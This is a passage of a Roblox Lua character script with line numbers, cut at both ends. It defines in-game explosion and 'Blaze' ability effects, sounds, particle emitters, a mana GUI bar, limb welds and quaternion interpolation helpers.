  1347. local value = 1*rad/6.5
  1348. par:Destroy()
  1349. for i = 0, 100 do
  1350. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1351. expart.CFrame = expart.CFrame
  1352. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1353. expart2.CFrame = expart.CFrame
  1354. value = value - 0.035*rad/6.5
  1355. if value < 1 then
  1356. value = 0.25
  1357. expart.Transparency = expart.Transparency + 0.025
  1358. expart2.Transparency = expart2.Transparency + 0.025
  1359. end
  1360. wait()
  1361. end
  1362. plode.Parent = nil
  1363. expart.Parent = nil
  1364. expart2.Parent = nil
  1365. expld.Parent = nil
  1366. end
  1367.  
  1368. function ExplodeMass(rad,par)
  1369. local expart = Instance.new("Part",script.Parent)
  1370. local expart2 = Instance.new("Part",script.Parent)
  1371. local partMesh = Instance.new("SpecialMesh",expart)
  1372. partMesh.MeshType = "Sphere"
  1373. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1374. partMesh2.MeshType = "Sphere"
  1375. local expld = Instance.new("Explosion", script.Parent)
  1376. local plode = Instance.new("Sound",workspace)
  1377. plode.SoundId = "rbxassetid://579687077"
  1378. plode.Volume = 1
  1379. plode.Pitch = 0.85
  1380. plode.Looped = false
  1381. plode:Play()
  1382. local plodez = Instance.new("Sound",workspace)
  1383. plodez.SoundId = "rbxassetid://288641686"
  1384. plodez.Volume = 1
  1385. plodez.Pitch = 0.75
  1386. plodez.Looped = false
  1387. plodez:Play()
  1388. local plodeza = Instance.new("Sound",workspace)
  1389. plodeza.SoundId = "rbxassetid://197161452"
  1390. plodeza.Volume = 0.85
  1391. plodeza.Pitch = 0.65
  1392. plodeza.Looped = false
  1393. plodeza:Play()
  1394. local plodezar = Instance.new("Sound",workspace)
  1395. plodezar.SoundId = "rbxassetid://197161452"
  1396. plodezar.Volume = 0.85
  1397. plodezar.Pitch = 0.25
  1398. plodezar.Looped = false
  1399. plodezar:Play()
  1400. expld.BlastRadius = rad
  1401. expld.Position = par.Position
  1402. wait(0.5)
  1403. par:Destroy()
  1404. plode.Parent = nil
  1405. expart.Parent = nil
  1406. expart2.Parent = nil
  1407. expld.Parent = nil
  1408. end
  1409. function ExplodeMassen(rad,par)
  1410. local expart = Instance.new("Part",script.Parent)
  1411. local expart2 = Instance.new("Part",script.Parent)
  1412. local partMesh = Instance.new("SpecialMesh",expart)
  1413. partMesh.MeshType = "Sphere"
  1414. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1415. partMesh2.MeshType = "Sphere"
  1416. local expld = Instance.new("Explosion", script.Parent)
  1417. local plode = Instance.new("Sound",workspace)
  1418. plode.SoundId = "rbxassetid://579687077"
  1419. plode.Volume = 1
  1420. plode.Pitch = 0.85
  1421. plode.Looped = false
  1422. plode:Play()
  1423. local plodez = Instance.new("Sound",workspace)
  1424. plodez.SoundId = "rbxassetid://288641686"
  1425. plodez.Volume = 1
  1426. plodez.Pitch = 0.75
  1427. plodez.Looped = false
  1428. plodez:Play()
  1429. local plodeza = Instance.new("Sound",workspace)
  1430. plodeza.SoundId = "rbxassetid://197161452"
  1431. plodeza.Volume = 0.85
  1432. plodeza.Pitch = 0.65
  1433. plodeza.Looped = false
  1434. plodeza:Play()
  1435. local plodezar = Instance.new("Sound",workspace)
  1436. plodezar.SoundId = "rbxassetid://197161452"
  1437. plodezar.Volume = 0.85
  1438. plodezar.Pitch = 0.25
  1439. plodezar.Looped = false
  1440. plodezar:Play()
  1441. expld.BlastRadius = rad
  1442. expld.Position = par.Position
  1443. partMesh.Scale = vt(rad,rad,rad)
  1444. expart.Size = vt(1,1,1)*1.5
  1445. expart.Transparency = 0
  1446. expart.Anchored = true
  1447. expart.Material = "Neon"
  1448. expart.BrickColor = bc("White")
  1449. expart.CFrame = par.CFrame
  1450. partMesh2.Scale = vt(rad,rad,rad)
  1451. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1452. expart2.Transparency = 0.5
  1453. expart2.Anchored = true
  1454. expart2.Material = "Neon"
  1455. expart2.BrickColor = tors.BrickColor
  1456. expart2.CFrame = par.CFrame
  1457. local value = 1*rad/10
  1458. par:Destroy()
  1459. for i = 0, 300 do
  1460. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1461. expart.CFrame = expart.CFrame
  1462. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1463. expart2.CFrame = expart.CFrame
  1464. value = value - 0.0175*rad/10
  1465. if value <= 0 then
  1466. expart.Transparency = expart.Transparency + 0.0125
  1467. expart2.Transparency = expart2.Transparency + 0.0125
  1468. value = 0.25
  1469. end
  1470. wait()
  1471. end
  1472. plode.Parent = nil
  1473. expart.Parent = nil
  1474. expart2.Parent = nil
  1475. expld.Parent = nil
  1476. end
  1477. local Ultramode = false
  1478.  
  1479. function Transform()
  1480. if basiccooldown >= 5 then
  1481. hum.WalkSpeed = 0
  1482. local sparta = Instance.new("Part",workspace)
  1483. local msher = Instance.new("SpecialMesh",sparta)
  1484. msher.MeshType = "Sphere"
  1485. msher.Scale = vt(1,1,1)
  1486. wit = BrickColor.new("Really black").Color
  1487. local glowz = Instance.new("ParticleEmitter")
  1488. glowz.LightEmission = 1
  1489. glowz.Parent = sparta
  1490. glowz.Texture = "rbxassetid://284205403"
  1491. glowz.Color = ColorSequence.new(wit)
  1492. glowz.Size = NumberSequence.new(15)
  1493. glowz.Speed = NumberRange.new(100,250)
  1494. glowz.LockedToPart = false
  1495. glowz.Transparency = NumberSequence.new(0.75)
  1496. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1497. glowz.Lifetime = NumberRange.new(1)
  1498. glowz.Rate = 50000
  1499. glowz.VelocitySpread = 9001
  1500. local sa2 = Instance.new("Sound",sparta)
  1501. sa2.SoundId = "rbxassetid://93724183"
  1502. sa2.Pitch = 0.5
  1503. sa2.Volume = 5
  1504. sa2.Looped = false
  1505. sa2:Play()
  1506. local saz2 = Instance.new("Sound",sparta)
  1507. saz2.SoundId = "rbxassetid://199145659"
  1508. saz2.Pitch = 0.45
  1509. saz2.Volume = 5*2
  1510. saz2.Looped = false
  1511. local plode = Instance.new("Sound",sparta)
  1512. plode.SoundId = "rbxassetid://153274423"
  1513. plode.Volume = 5
  1514. plode.Pitch = 1
  1515. plode.Looped = false
  1516. local ploder = Instance.new("Sound",sparta)
  1517. ploder.SoundId = "rbxassetid://130972023"
  1518. ploder.Volume = 5
  1519. ploder.Pitch = 1
  1520. ploder.Looped = false
  1521. sparta.Size = vt(1,1,1)
  1522. sparta.BrickColor = BrickColor.new("Really black")
  1523. sparta.Material = "Neon"
  1524. sparta.Transparency = 0
  1525. sparta.Anchored = true
  1526. sparta.CanCollide = false
  1527. sparta.CFrame = tors.CFrame
  1528. sparta.Rotation = vt(0,0,0)
  1529. local value2 = 2
  1530. for i = 0, 24 do
  1531. value2 = value2 - 0.065
  1532. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1533. wait()
  1534. end
  1535. for i = 0, 10 do
  1536. value2 = value2 + 0.06575
  1537. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1538. wait()
  1539. end
  1540. for i = 0, 10 do
  1541. value2 = value2 - 0.2
  1542. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1543. wait()
  1544. end
  1545. for i = 0, 10 do
  1546. value2 = value2 + 0.275
  1547. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1548. wait()
  1549. end
  1550. for i = 0, 10 do
  1551. value2 = value2 - 0.4
  1552. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1553. wait()
  1554. end
  1555. for i = 0, 10 do
  1556. value2 = value2 + 0.475
  1557. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1558. wait()
  1559. end
  1560. for i = 0, 10 do
  1561. value2 = value2 - 0.6
  1562. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1563. wait()
  1564. end
  1565. for i = 0, 10 do
  1566. value2 = value2 + 0.675
  1567. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1568. wait()
  1569. end
  1570. for i = 0, 10 do
  1571. value2 = value2 - 0.7
  1572. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1573. wait()
  1574. end
  1575. for i = 0, 10 do
  1576. value2 = value2 + 0.775
  1577. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1578. wait()
  1579. end
  1580. saz2:Play()
  1581. wait(2.75)
  1582. plode:Play()
  1583. ploder:Play()
  1584. Ultramode = true
  1585. for i = 0, 75 do
  1586. value2 = value2 - 0.0575
  1587. glowz.Rate = 0
  1588. sparta.Transparency = sparta.Transparency + 0.025
  1589. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1590. wait()
  1591. end
  1592. hum.WalkSpeed = 16
  1593. sparta:Destroy()
  1594. end
  1595. end
  1596.  
  1597.  
  1598. function Blaze2()
  1599. if ultcooldown >= 30 then
  1600. local sloc = Instance.new("Part",workspace)
  1601. local msh = Instance.new("SpecialMesh",sloc)
  1602. msh.MeshType = "Sphere"
  1603. sloc.Size = vt(1,1,1)
  1604. sloc.Transparency = 1
  1605. sloc.BrickColor = tors.BrickColor
  1606. sloc.Position = hed.Position + vt(0,0.1,0)
  1607. sloc.CanCollide = false
  1608. sloc.Shape = "Ball"
  1609. sloc.Anchored = true
  1610. sloc.Material = "Neon"
  1611. local s = Instance.new("Sound",char)
  1612. s.SoundId = "rbxassetid://289315275"
  1613. s.Pitch = 1
  1614. s.Volume = 2.75
  1615. s.Looped = false
  1616. s:Play()
  1617. local s2 = Instance.new("Sound",char)
  1618. s2.SoundId = "rbxassetid://671759140"
  1619. s2.Pitch = 0.425
  1620. s2.Volume = 1
  1621. s2.Looped = false
  1622. s2:Play()
  1623. local val = 0.65*5
  1624. for i = 0 , 75 do
  1625. sloc.Transparency = sloc.Transparency - 0.035
  1626. msh.Scale = msh.Scale + vt(val,val,val)
  1627. val = val - 0.0075*5
  1628. wait()
  1629. end
  1630. wait(2)
  1631. local sen = Instance.new("Sound",char)
  1632. sen.SoundId = "rbxassetid://289315275"
  1633. sen.Pitch = 1
  1634. sen.Volume = 2.75
  1635. sen.Looped = false
  1636. sen:Play()
  1637. local tick = Instance.new("Sound",char)
  1638. tick.SoundId = "rbxassetid://446876721"
  1639. tick.Volume = 2.5
  1640. tick.Pitch = 0.5
  1641. tick:Play()
  1642. msh.Scale = msh.Scale - vt(1,1,1)
  1643. sloc.Transparency = sloc.Transparency + 0.015
  1644. local spart = Instance.new("Part",workspace)
  1645. local msh2 = Instance.new("SpecialMesh",spart)
  1646. msh2.MeshType = "Sphere"
  1647. spart.Size = vt(2,2,2)
  1648. spart.Shape = "Ball"
  1649. spart.BrickColor = tors.BrickColor
  1650. spart.Material = "Neon"
  1651. spart.Transparency = 0
  1652. spart.Anchored = false
  1653. msh2.Scale = msh.Scale/2
  1654. spart.Rotation = hed.Rotation
  1655. spart.CanCollide = false
  1656. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1657. local bv = Instance.new("BodyVelocity")
  1658. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1659. bv.velocity = mouse.Hit.lookVector * 125
  1660. bv.Parent = spart
  1661. sloc:Destroy()
  1662. wait(0.00001)
  1663. pewdiepie=spart.Touched:connect(function(hit)
  1664. ExplodeMassen(100,spart)
  1665. end)
  1666. wait(5)
  1667. sloc:Destroy()
  1668. tick:Destroy()
  1669. s:Destroy()
  1670. sen:Destroy()
  1671. s2:Destroy()
  1672. end
  1673. if ultcooldown < 1 then
  1674. for i = 0, 29 do
  1675. ultcooldown = ultcooldown + 1
  1676. wait(1)
  1677. end
  1678. end
  1679. end
  1680.  
  1681. function Blaze()
  1682. if ultcooldown >= 30 then
  1683. local ff = Instance.new("ForceField",char)
  1684. local s = Instance.new("Sound",char)
  1685. s.SoundId = "rbxassetid://289315275"
  1686. s.Pitch = 1
  1687. s.Volume = 2.75
  1688. s.Looped = false
  1689. s:Play()
  1690. local s2 = Instance.new("Sound",char)
  1691. s2.SoundId = "rbxassetid://671759140"
  1692. s2.Pitch = 0.425
  1693. s2.Volume = 1
  1694. s2.Looped = false
  1695. s2:Play()
  1696. local spart = boll:Clone()
  1697. local spart2 = shur:Clone()
  1698. local msh = Instance.new("SpecialMesh",spart)
  1699. msh.MeshType = "Sphere"
  1700. spart.Parent = workspace
  1701. spart.Transparency = 1
  1702. spart.Anchored = true
  1703. spart.Position = tors.Position + vt(0,1,0)
  1704. spart.Size = spart.Size + vt(1,1,1)
  1705. for i = 0, 10 do
  1706. spart.BrickColor = tors.BrickColor
  1707. spart.Transparency = spart.Transparency + -0.05
  1708. spart.Position = tors.Position + vt(0,1,0)
  1709. spart.Size = spart.Size + vt(3,3,3)
  1710. wait(0)
  1711. end
  1712. for i = 0, 5 do
  1713. spart.BrickColor = tors.BrickColor
  1714. spart.Transparency = spart.Transparency + -0.05
  1715. spart.Position = tors.Position + vt(0,1,0)
  1716. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1717. wait(0)
  1718. end
  1719. for i = 0, 5 do
  1720. spart.BrickColor = tors.BrickColor
  1721. spart.Transparency = spart.Transparency + -0.05
  1722. spart.Position = tors.Position + vt(0,1,0)
  1723. spart.Size = spart.Size + vt(1,1,1)
  1724. wait(0)
  1725. end
  1726. for i = 0, 10 do
  1727. spart.BrickColor = tors.BrickColor
  1728. wait(0.1)
  1729. end
  1730. for i = 0, 20 do
  1731. spart.BrickColor = tors.BrickColor
  1732. spart.Transparency = spart.Transparency + 0.05
  1733. spart.Position = tors.Position + vt(0,1,0)
  1734. spart.Size = spart.Size + vt(-5,-5,-5)
  1735. wait(0)
  1736. end
  1737. local sp = spart:Clone()
  1738. sp.Parent = workspace
  1739. sp.Position = spart.Position
  1740. local sp2 = sp:Clone()
  1741. sp2.Parent = workspace
  1742. sp2.Transparency = 0.5
  1743. local msh2 = sp2.Mesh
  1744. msh2.Scale = vt(1250,1250,1250)
  1745. wit = tors.BrickColor.Color
  1746. local glowz = Instance.new("ParticleEmitter")
  1747. glowz.LightEmission = 0.75
  1748. glowz.Parent = sp2
  1749. glowz.Texture = "rbxassetid://284205403"
  1750. glowz.Color = ColorSequence.new(wit)
  1751. glowz.Size = NumberSequence.new(50)
  1752. glowz.Speed = NumberRange.new(425,450)
  1753. glowz.LockedToPart = false
  1754. glowz.Transparency = NumberSequence.new(0.75)
  1755. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1756. glowz.Lifetime = NumberRange.new(1)
  1757. glowz.Rate = 50000
  1758. glowz.VelocitySpread = 9001
  1759. spart2.Parent = workspace
  1760. spart2.Mesh.Scale = vt(25, 90000, 25)
  1761. spart2.Position = tors.Position
  1762. local seen = Instance.new("Sound",char)
  1763. seen.SoundId = "rbxassetid://445796828"
  1764. seen.Pitch = 0.75
  1765. seen.Volume = 1.75
  1766. seen.Looped = true
  1767. seen:Play()
  1768. local sen = Instance.new("Sound",char)
  1769. sen.SoundId = "rbxassetid://289315275"
  1770. sen.Pitch = 0.98
  1771. sen.Volume = 2.65
  1772. sen.Looped = false
  1773. sen:Play()
  1774. local tick = Instance.new("Sound",char)
  1775. tick.SoundId = "rbxassetid://446876721"
  1776. tick.Volume = 5
  1777. tick.Pitch = 0.5
  1778. tick:Play()
  1779. local seena = Instance.new("Sound",char)
  1780. seena.SoundId = "rbxassetid://300916057"
  1781. seena.Pitch = 0.5
  1782. seena.Volume = 2.5
  1783. seena.Looped = false
  1784. seena:Play()
  1785. spart.Transparency = 0
  1786. ExplodeMass(1000,sp)
  1787. for i = 0, 450 do
  1788. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1789. sp2.Position = spart.Position
  1790. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1791. spart2.BrickColor = tors.BrickColor
  1792. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1793. msh.Scale = msh.Scale + vt(50,50,50)
  1794. sp2.Transparency = sp2.Transparency + 0.0005
  1795. spart.Transparency = spart.Transparency + 0.0025
  1796. spart2.Transparency = spart2.Transparency + 0.0025
  1797. wait(0)
  1798. end
  1799. spart:Destroy()
  1800. seena:Destroy()
  1801. ff:Destroy()
  1802. seen:Destroy()
  1803. sen:Destroy()
  1804. tick:Destroy()
  1805. spart2:Destroy()
  1806. s:Destroy()
  1807. sp:Destroy()
  1808. sp2:Destroy()
  1809. s2:Destroy()
  1810. end
  1811. if ultcooldown < 1 then
  1812. for i = 0, 29 do
  1813. ultcooldown = ultcooldown + 1
  1814. wait(1)
  1815. end
  1816. end
  1817. end
  1818.  
  1819. -- sin
  1820. Player=owner
  1821. Character=Player.Character
  1822. PlayerGui=Player.PlayerGui
  1823. Backpack=Player.Backpack
  1824. Torso=Character.Torso
  1825. Head=Character.Head
  1826. Humanoid=Character.Humanoid
  1827. m=Instance.new('Model',Character)
  1828. LeftArm=Character["Left Arm"]
  1829. LeftLeg=Character["Left Leg"]
  1830. RightArm=Character["Right Arm"]
  1831. RightLeg=Character["Right Leg"]
  1832. LS=Torso["Left Shoulder"]
  1833. LH=Torso["Left Hip"]
  1834. RS=Torso["Right Shoulder"]
  1835. RH=Torso["Right Hip"]
  1836. Face = Head.face
  1837. Neck=Torso.Neck
  1838. it=Instance.new
  1839. attacktype=1
  1840. vt=Vector3.new
  1841. cf=CFrame.new
  1842. euler=CFrame.fromEulerAnglesXYZ
  1843. angles=CFrame.Angles
  1844. cloaked=false
  1845. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1846. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1847. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1848. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1849. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1850. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1851. RootPart=Character.HumanoidRootPart
  1852. RootJoint=RootPart.RootJoint
  1853. RootCF=euler(-1.57,0,3.14)
  1854. attack = false
  1855. attackdebounce = false
  1856. deb=false
  1857. equipped=true
  1858. hand=false
  1859. MMouse=nil
  1860. combo=0
  1861. mana=0
  1862. trispeed=1
  1863. pathtrans=.7
  1864. attackmode='none'
  1865. local idle=0
  1866. local Anim="Idle"
  1867. local Effects={}
  1868. local gun=false
  1869. local shoot=false
  1870. player=nil
  1871. cloak=false
  1872. lightcolor='Bright blue'
  1873.  
  1874. local Color1=BrickColor.new("Royal purple")
  1875.  
  1876. local fengui=it("GuiMain")
  1877. fengui.Parent=Player.PlayerGui
  1878. fengui.Name="WeaponGUI"
  1879. local fenframe=it("Frame")
  1880. fenframe.Parent=fengui
  1881. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1882. fenframe.BackgroundTransparency=1
  1883. fenframe.BorderColor3=Color3.new(17,17,17)
  1884. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1885. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1886. local fenbarmana1=it("TextLabel")
  1887. fenbarmana1.Parent=fenframe
  1888. fenbarmana1.Text=" "
  1889. fenbarmana1.BackgroundTransparency=0
  1890. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1891. fenbarmana1.SizeConstraint="RelativeXY"
  1892. fenbarmana1.TextXAlignment="Center"
  1893. fenbarmana1.TextYAlignment="Center"
  1894. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1895. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1896. local fenbarmana2=it("TextLabel")
  1897. fenbarmana2.Parent=fenframe
  1898. fenbarmana2.Text=" "
  1899. fenbarmana2.BackgroundTransparency=0
  1900. fenbarmana2.BackgroundColor3=Torso.Color
  1901. fenbarmana2.SizeConstraint="RelativeXY"
  1902. fenbarmana2.TextXAlignment="Center"
  1903. fenbarmana2.TextYAlignment="Center"
  1904. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1905. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1906. local fenbarmana3=it("TextLabel")
  1907. fenbarmana3.Parent=fenframe
  1908. fenbarmana3.Text=" "
  1909. fenbarmana3.BackgroundTransparency=0
  1910. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1911. fenbarmana3.SizeConstraint="RelativeXY"
  1912. fenbarmana3.TextXAlignment="Center"
  1913. fenbarmana3.TextYAlignment="Center"
  1914. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1915. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1916. local fenbarmana4=it("TextLabel")
  1917. fenbarmana4.Parent=fenframe
  1918. fenbarmana4.Text="Energy("..mana..")"
  1919. fenbarmana4.BackgroundTransparency=1
  1920. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1921. fenbarmana4.SizeConstraint="RelativeXY"
  1922. fenbarmana4.TextXAlignment="Center"
  1923. fenbarmana4.TextYAlignment="Center"
  1924. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1925. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1926. fenbarmana4.FontSize="Size9"
  1927. fenbarmana4.TextStrokeTransparency=0
  1928. fenbarmana4.TextColor=BrickColor.new("White")
  1929.  
  1930. --save shoulders
  1931. RSH, LSH=nil, nil
  1932. --welds
  1933. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1934. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1935. LH=Torso["Left Hip"]
  1936. RH=Torso["Right Hip"]
  1937. TorsoColor=BrickColor.new("Royal purple")
  1938. function NoOutline(Part)
  1939. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1940. end
  1941. player=Player
  1942. ch=Character
  1943. RSH=ch.Torso["Right Shoulder"]
  1944. LSH=ch.Torso["Left Shoulder"]
  1945. --
  1946. RSH.Parent=nil
  1947. LSH.Parent=nil
  1948. --
  1949. RW.Name="Right Shoulder"
  1950. RW.Part0=ch.Torso
  1951. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1952. RW.C1=cf(0, 0.5, 0)
  1953. RW.Part1=ch["Right Arm"]
  1954. RW.Parent=ch.Torso
  1955. --
  1956. LW.Name="Left Shoulder"
  1957. LW.Part0=ch.Torso
  1958. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1959. LW.C1=cf(0, 0.5, 0)
  1960. LW.Part1=ch["Left Arm"]
  1961. LW.Parent=ch.Torso
  1962.  
  1963.  
  1964. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1965. local fp=it("Part")
  1966. fp.formFactor=formfactor
  1967. fp.Parent=parent
  1968. fp.Reflectance=reflectance
  1969. fp.Transparency=transparency
  1970. fp.CanCollide=false
  1971. fp.Locked=true
  1972. fp.BrickColor=brickcolor
  1973. fp.Name=name
  1974. fp.Size=size
  1975. fp.Position=Torso.Position
  1976. NoOutline(fp)
  1977. fp.Material="Neon"
  1978. fp:BreakJoints()
  1979. return fp
  1980. end
  1981.  
  1982. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1983. local mesh=it(Mesh)
  1984. mesh.Parent=part
  1985. if Mesh=="SpecialMesh" then
  1986. mesh.MeshType=meshtype
  1987. if meshid~="nil" then
  1988. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1989. end
  1990. end
  1991. mesh.Offset=offset
  1992. mesh.Scale=scale
  1993. return mesh
  1994. end
  1995.  
  1996. function weld(parent,part0,part1,c0)
  1997. local weld=it("Weld")
  1998. weld.Parent=parent
  1999. weld.Part0=part0
  2000. weld.Part1=part1
  2001. weld.C0=c0
  2002. return weld
  2003. end
  2004.  
  2005. local Color1=BrickColor.new("Royal purple")
  2006.  
  2007. local bodvel=Instance.new("BodyVelocity")
  2008. local bg=Instance.new("BodyGyro")
  2009.  
  2010. function swait(num)
  2011. if num==0 or num==nil then
  2012. game:service'RunService'.Stepped:wait(0)
  2013. else
  2014. for i=0,num do
  2015. game:service'RunService'.Stepped:wait(0)
  2016. end
  2017. end
  2018. end
  2019.  
  2020.  
  2021. so = function(id,par,vol,pit)
  2022. coroutine.resume(coroutine.create(function()
  2023. local sou = Instance.new("Sound",par or workspace)
  2024. sou.Volume=vol
  2025. sou.Pitch=pit or 1
  2026. sou.SoundId=id
  2027. swait()
  2028. sou:play()
  2029. game:GetService("Debris"):AddItem(sou,6)
  2030. end))
  2031. end
  2032.  
  2033. function clerp(a,b,t)
  2034. local qa = {QuaternionFromCFrame(a)}
  2035. local qb = {QuaternionFromCFrame(b)}
  2036. local ax, ay, az = a.x, a.y, a.z
  2037. local bx, by, bz = b.x, b.y, b.z
  2038. local _t = 1-t
  2039. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  2040. end
  2041.  
  2042. function QuaternionFromCFrame(cf)
  2043. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  2044. local trace = m00 + m11 + m22
  2045. if trace > 0 then
  2046. local s = math.sqrt(1 + trace)
  2047. local recip = 0.5/s
  2048. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  2049. else
  2050. local i = 0
  2051. if m11 > m00 then
  2052. i = 1
  2053. end
  2054. if m22 > (i == 0 and m00 or m11) then
  2055. i = 2
  2056. end
  2057. if i == 0 then
  2058. local s = math.sqrt(m00-m11-m22+1)
  2059. local recip = 0.5/s
  2060. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  2061. elseif i == 1 then
  2062. local s = math.sqrt(m11-m22-m00+1)
  2063. local recip = 0.5/s
  2064. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  2065. elseif i == 2 then
  2066. local s = math.sqrt(m22-m00-m11+1)
  2067. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  2068. end
  2069. end
  2070. end
  2071.  
  2072. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  2073. local xs, ys, zs = x + x, y + y, z + z
  2074. local wx, wy, wz = w*xs, w*ys, w*zs
  2075. local xx = x*xs
  2076. local xy = x*ys
  2077. local xz = x*zs
  2078. local yy = y*ys
  2079. local yz = y*zs
  2080. local zz = z*zs
  2081. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  2082. end
  2083.  
  2084. function QuaternionSlerp(a, b, t)
  2085. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  2086. local startInterp, finishInterp;
  2087. if cosTheta >= 0.0001 then
  2088. if (1 - cosTheta) > 0.0001 then
  2089. local theta = math.acos(cosTheta)
  2090. local invSinTheta = 1/math.sin(theta)
  2091. startInterp = math.sin((1-t)*theta)*invSinTheta
  2092. finishInterp = math.sin(t*theta)*invSinTheta
  2093. else
  2094. startInterp = 1-t
  2095. finishInterp = t
  2096. end
  2097. else
  2098. if (1+cosTheta) > 0.0001 then
  2099. local theta = math.acos(-cosTheta)
  2100. local invSinTheta = 1/math.sin(theta)
  2101. startInterp = math.sin((t-1)*theta)*invSinTheta
  2102. finishInterp = math.sin(t*theta)*invSinTheta
  2103. else
  2104. startInterp = t-1
  2105. finishInterp = t
  2106. end
  2107. end
  2108. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  2109. end
  2110.  
  2111. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  2112. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  2113. end
  2114.  
  2115. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  2116. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2117. prt.Anchored=true
  2118. prt.CFrame=cframe
  2119. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  2120. --http://www.roblox.com/asset/?id=4770560
  2121. game:GetService("Debris"):AddItem(prt,2)
  2122. CF=prt.CFrame
  2123. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  2124. for i=0,1,0.2 do
  2125. wait()
  2126. Part.CFrame=CF*cf(0,0,-0.4)
  2127. end
  2128. for i=0,1,delay do
  2129. wait()
  2130. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2131. Mesh.Scale=Mesh.Scale
  2132. end
  2133. for i=0,1,0.1 do
  2134. wait()
  2135. Part.Transparency=i
  2136. end
  2137. Part.Parent=nil
  2138. end),prt,msh,CF)
  2139. end
  2140.  
  2141. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2142. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2143. prt.Anchored=true
  2144. prt.CFrame=cframe
  2145. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2146. game:GetService("Debris"):AddItem(prt,5)
  2147. coroutine.resume(coroutine.create(function(Part,Mesh)
  2148. for i=0,1,delay do
  2149. wait()
